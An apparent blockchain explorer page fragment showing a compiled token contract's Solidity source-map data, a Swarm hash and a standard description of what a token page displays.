7003:42;;;;;;-1:-1:-1;;;;;7080:21:0;;;;;;:13;:21;;;;;;:38;;7106:11;7080:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;7056:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;7129:36;;;;;;;7056:21;;7129:36;;;;-1:-1:-1;;;;;;;;;;;7129:36:0;;;;;;;;7188:11;;:28;;7204:11;7188:28;:15;:28;:::i;5313:261::-;5444:10;5391:4;5436:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5436:29:0;;;;;;;;;;:46;;5470:11;5436:46;:33;:46;:::i;:::-;5412:10;5404:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5404:29:0;;;;;;;;;;;;:78;;;5489:61;;;;;;5404:29;;5489:61;;;;;;;;;;;-1:-1:-1;5564:4:0;5313:261;;;;:::o;4683:153::-;-1:-1:-1;;;;;4799:19:0;;;4764:14;4799:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;4683:153::o;1290:173::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;1367:22:0;;;;1359:31;;;;;;1418:5;;;1397:37;;-1:-1:-1;;;;;1397:37:0;;;;1418:5;;;1397:37;;;1441:5;:16;;-1:-1:-1;;1441:16:0;-1:-1:-1;;;;;1441:16:0;;;;;;;;;;1290:173::o;548:113::-;606:7;629:6;;;;622:14;;;;-1:-1:-1;650:5:0;;;548:113::o;667:133::-;725:7;753:5;;;772:6;;;;765:14;;;;793:1;667:133;-1:-1:-1;;;667:133:0:o

Swarm Source

bzzr://8fb003c85f44e26e4d1326f4bf65aa500c3c70138b08e0ec1d0a1a768f1f2f57
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.